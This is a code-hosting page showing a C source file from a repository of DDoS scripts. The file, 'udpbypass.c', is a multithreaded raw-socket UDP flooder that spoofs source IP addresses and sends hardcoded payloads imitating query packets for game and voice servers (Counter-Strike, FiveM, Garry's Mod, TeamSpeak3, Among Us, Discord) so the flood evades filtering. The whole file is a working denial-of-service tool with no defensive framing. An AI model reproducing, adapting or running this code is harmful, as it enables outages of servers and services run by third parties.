Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/udpbypass.c
4607 views
1
/*
2
=============================================================================
3
gcc -oterm -pthread -w udpcustom.c -o udpcustom
4
----- CODED SponneR ------
5
=============================================================================
6
*/
7
8
#include <pthread.h>
9
#include <unistd.h>
10
#include <stdio.h>
11
#include <stdlib.h>
12
#include <string.h>
13
#include <sys/socket.h>
14
#include <netinet/ip.h>
15
#include <netinet/udp.h>
16
17
#define MAX_PACKET_SIZE 4096
18
#define PHI 0x9e3779b9
19
20
21
#include <fcntl.h>
22
#include <netinet/tcp.h>
23
#include <sys/types.h>
24
#include <netinet/in.h>
25
#include <netdb.h>
26
#define BUFFER_SIZE 1024
27
28
29
static unsigned int port;
30
static unsigned int sport;
31
static unsigned int lench;
32
33
34
char* packetstrx;
35
static uint32_t Q[4096], c = 362436;
36
struct thread_data { int thread_id; struct list* list_node; struct sockaddr_in sin; };
37
volatile int limiter;
38
volatile unsigned int pps;
39
volatile unsigned int sleeptime = 100;
40
41
char sip[16];
42
char tip[16];
43
int s1, s2, s3, s4, s5;
44
int t1, t2, t3, t4, t5, t6, t7;
45
46
struct pseudo_header {
47
u_int32_t source_address;
48
u_int32_t dest_address;
49
u_int8_t placeholder;
50
u_int8_t protocol;
51
u_int16_t udp_length;
52
};
53
54
unsigned short csum(unsigned short* ptr, int nbytes) {
55
register long sum;
56
unsigned short oddbyte;
57
register short answer;
58
59
sum = 0;
60
while (nbytes > 1) {
61
sum += *ptr++;
62
nbytes -= 2;
63
}
64
if (nbytes == 1) {
65
oddbyte = 0;
66
*((u_char*)&oddbyte) = *(u_char*)ptr;
67
sum += oddbyte;
68
}
69
70
sum = (sum >> 16) + (sum & 0xffff);
71
sum = sum + (sum >> 16);
72
answer = (short)~sum;
73
74
return(answer);
75
}
76
77
void* flood(void* par1) {
78
79
80
int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
81
82
if (s == -1)
83
{
84
perror("Paket Acilmadi.");
85
exit(1);
86
}
87
88
char datagram[4096], source_ip[32], classip[32], * data, * pseudogram;
89
memset(datagram, 0, 4096);
90
struct iphdr* iph = (struct iphdr*) datagram;
91
struct udphdr* udph = (struct udphdr*) (datagram + sizeof(struct ip));
92
struct sockaddr_in sin;
93
struct pseudo_header psh;
94
sscanf(sip, "%d.%d.%d.%d/%d", &s1, &s2, &s3, &s4, &s5);
95
sscanf(tip, "%d.%d.%d.%d/%d/%d/%d", &t1, &t2, &t3, &t4, &t5, &t6, &t7);
96
97
int i = 0;
98
99
100
int psize = sizeof(struct pseudo_header) + sizeof(struct udphdr) + lench;
101
102
pseudogram = malloc(psize);
103
104
memcpy((void*)udph + sizeof(struct udphdr), packetstrx, lench);
105
106
iph->ihl = 5;
107
iph->version = 4;
108
iph->tos = 0;
109
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + lench;
110
iph->id = htonl(rand() % 54321);
111
iph->frag_off = 0;
112
iph->ttl = 128;
113
iph->protocol = 17;
114
iph->check = 0;
115
116
117
while (1) {
118
119
if ((atoi(sip)) == 0) {
120
121
snprintf(source_ip, sizeof(source_ip) - 1, "%d.%d.%d.%d", rand() % 255, rand() % 255, rand() % 255, rand() % 255);
122
123
}
124
else {
125
126
if (s5 == 32) {
127
128
snprintf(source_ip, sizeof(source_ip) - 1, "%d.%d.%d.%d", s1, s2, s3, s4);
129
130
}
131
132
if (s5 == 24) {
133
134
snprintf(source_ip, sizeof(source_ip) - 1, "%d.%d.%d.%d", s1, s2, s3, rand() % 255);
135
136
}
137
138
if (s5 == 16) {
139
140
snprintf(source_ip, sizeof(source_ip) - 1, "%d.%d.%d.%d", s1, s2, rand() % 255, rand() % 255);
141
142
}
143
144
if (s5 == 8) {
145
146
snprintf(source_ip, sizeof(source_ip) - 1, "%d.%d.%d.%d", s1, rand() % 255, rand() % 255, rand() % 255);
147
148
}
149
150
}
151
152
153
sin.sin_family = AF_INET;
154
sin.sin_port = htons(80);
155
156
157
if (t5 == 24) {
158
159
snprintf(classip, sizeof(classip) - 1, "%d.%d.%d.%d", t1, t2, t3, rand() % (t7 + 1 - t6) + t6);
160
sin.sin_addr.s_addr = inet_addr(classip);
161
162
}
163
else {
164
sin.sin_addr.s_addr = inet_addr(tip);
165
}
166
167
iph->saddr = inet_addr(source_ip);
168
iph->daddr = sin.sin_addr.s_addr;
169
iph->check = csum((unsigned short*)datagram, iph->tot_len);
170
if (sport == 0) { udph->source = htons(15000 + rand() % 45000); }
171
else { udph->source = sport; }
172
if (port == 0) { udph->dest = htons(1 + rand() % 15000); }
173
else { udph->dest = port; }
174
udph->len = htons(sizeof(struct udphdr) + lench);
175
udph->check = 0;
176
psh.source_address = inet_addr(source_ip);
177
psh.dest_address = sin.sin_addr.s_addr;
178
psh.placeholder = 0;
179
psh.protocol = IPPROTO_UDP;
180
psh.udp_length = htons(sizeof(struct udphdr) + lench);
181
memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
182
memcpy(pseudogram + sizeof(struct pseudo_header), udph, sizeof(struct udphdr) + lench);
183
udph->check = csum((unsigned short*)pseudogram, psize);
184
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr*) & sin, sizeof(sin));
185
pps++;
186
if (i >= limiter) {
187
i = 0;
188
usleep(sleeptime);
189
}
190
i++;
191
}
192
}
193
194
195
int main(int argc, char* argv[]) {
196
if (argc < 8) {
197
fprintf(stdout, "Invalid syntac! UDP Custom by random turk to forky\n");
198
fprintf(stdout, "Usage: %s <Target IP/24/MIN/MAX CLASS> <DST PORT/0 FOR RANDOM> <SRC PORT/0 FOR RANDOM> <127.0.0.1/32 / 0 FOR RANDOM> <THREAD> <PPS LIMIT, -1 NO LIMIT> <TIME> <cs16,fivem,fivem2,gmod,csgo,ts3,amongus,source>\n", argv[0]);
199
exit(-1);
200
}
201
int i = 0;
202
int max_len = 128;
203
char* buffer = (char*)malloc(max_len);
204
buffer = memset(buffer, 0x00, max_len);
205
int num_threads = atoi(argv[5]);
206
int maxpps = atoi(argv[6]);
207
limiter = 0;
208
pps = 0;
209
int multiplier = 20;
210
pthread_t thread[num_threads];
211
struct thread_data td[num_threads];
212
port = htons(atoi(argv[2]));
213
sport = htons(atoi(argv[3]));
214
strcpy(tip, argv[1]);
215
strcpy(sip, argv[4]);
216
char* oyun = argv[8];
217
218
if (strcmp(oyun, "cs16") == 0) {
219
fprintf(stdout, "COUNTER-STRIKE 1.6\n");
220
lench = 23;
221
packetstrx = malloc(lench);
222
memset(packetstrx, 0x00, lench);
223
packetstrx = "\xff\xff\xff\xff\x67\x65\x74\x63\x68\x61\x6c\x6c\x65\x6e\x67\x65\x20\x73\x74\x65\x61\x6d\x0a";
224
}
225
226
if (strcmp(oyun, "fivem") == 0) {
227
fprintf(stdout, "FIVEM (GTA5)\n");
228
lench = 15;
229
packetstrx = malloc(lench);
230
memset(packetstrx, 0x00, lench);
231
packetstrx = "\xff\xff\xff\xff\x67\x65\x74\x69\x6e\x66\x6f\x20\x78\x78\x78";
232
}
233
234
if (strcmp(oyun, "fivem2") == 0) {
235
fprintf(stdout, "Fivem-New\n");
236
lench = 65;
237
packetstrx = malloc(lench);
238
memset(packetstrx, 0x00, lench);
239
packetstrx = "\x74\x6f\x6b\x65\x6e\x3d\x64\x66\x39\x36\x61\x66\x30\x33\x2d\x63\x32\x66\x63\x2d\x34\x63\x32\x39\x2d\x39\x31\x39\x61\x2d\x32\x36\x30\x35\x61\x61\x37\x30\x62\x31\x66\x38\x26\x67\x75\x69\x64\x3d\x37\x36\x35\x36\x31\x31\x39\x38\x38\x30\x34\x38\x30\x36\x30\x31\x35";
240
}
241
242
if (strcmp(oyun, "gmod") == 0) {
243
fprintf(stdout, "Garrys Mod\n");
244
lench = 23;
245
packetstrx = malloc(lench);
246
memset(packetstrx, 0x00, lench);
247
packetstrx = "\xff\xff\xff\xff\x71\x96\x9e\x53\x05\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00";
248
}
249
250
if (strcmp(oyun, "csgo") == 0) {
251
fprintf(stdout, "CS-GO\n");
252
lench = 23;
253
packetstrx = malloc(lench);
254
memset(packetstrx, 0x00, lench);
255
packetstrx = "\xff\xff\xff\xff\x71\x63\x6f\x6e\x6e\x65\x63\x74\x30\x78\x30\x30\x30\x30\x30\x30\x30\x30\x00";
256
}
257
258
if (strcmp(oyun, "ts3") == 0) {
259
fprintf(stdout, "TEAMSPEAK3\n");
260
lench = 34;
261
packetstrx = malloc(lench);
262
memset(packetstrx, 0x00, lench);
263
packetstrx = "\x54\x53\x33\x49\x4e\x49\x54\x31\x00\x65\x00\x00\x88\x0c\x26\x87\xdd\x00\x5d\x36\xdb\xe3\xae\xa9\xc3\x8d\x00\x00\x00\x00\x00\x00\x00\x00";
264
}
265
266
if (strcmp(oyun, "amongus") == 0) {
267
fprintf(stdout, "Among Us\n");
268
lench = 13;
269
packetstrx = malloc(lench);
270
memset(packetstrx, 0x00, lench);
271
packetstrx = "\xe3\x54\x0a\x4f\x6e\x6c\x69\x6e\x65\x47\x61\x6d\x65";
272
}
273
274
if (strcmp(oyun, "source") == 0) {
275
fprintf(stdout, "TSource Engine\n");
276
lench = 25;
277
packetstrx = malloc(lench);
278
memset(packetstrx, 0x00, lench);
279
packetstrx = "\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00";
280
}
281
282
if (strcmp(oyun, "discord1") == 0) {
283
fprintf(stdout, "Discord1\n");
284
lench = 16;
285
packetstrx = malloc(lench);
286
memset(packetstrx, 0x00, lench);
287
packetstrx = "\x13\x37\xca\xfe\x01\x00\x00\x00";
288
}
289
290
if (strcmp(oyun, "discord2") == 0) {
291
fprintf(stdout, "Discord2\n");
292
lench = 39;
293
packetstrx = malloc(lench);
294
memset(packetstrx, 0x00, lench);
295
packetstrx = "\x94\x00\xb0\x1a\xef\x69\xa8\xa1\x59\x69\xba\xc5\x08\x00\x45\x00\x00\x43\xf0\x12\x00\x00\x80\x11\x00\x00\xc0\xa8\x64\x02\xb9\x29\x8e\x31\xc2\x30\xc3\x51\x00\x2f\x6c\x46\x90\xf8\x5f\x1b\x8e\xf5\x56\x8f\x00\x05\xe1\x26\x96\xa9\xde\xe8\x84\xba\x65\x38\x70\x68\xf5\x70\x0e\x12\xe2\x54\x20\xe0\x7f\x49\x0d\x9e\x44\x89\xec\x4b\x7f";
296
}
297
298
for (i = 0;i < num_threads;i++) {
299
pthread_create(&thread[i], NULL, &flood, (void*)argv[1]);
300
}
301
fprintf(stdout, "UDP Bypass\n");
302
for (i = 0;i < (atoi(argv[7]) * multiplier);i++)
303
{
304
usleep((1000 / multiplier) * 1000);
305
if ((pps * multiplier) > maxpps)
306
{
307
if (1 > limiter)
308
{
309
sleeptime += 100;
310
}
311
else {
312
limiter--;
313
}
314
}
315
else {
316
limiter++;
317
if (sleeptime > 25)
318
{
319
sleeptime -= 25;
320
}
321
else {
322
sleeptime = 0;
323
}
324
}
325
pps = 0;
326
}
327
return 0;
328
}
329
330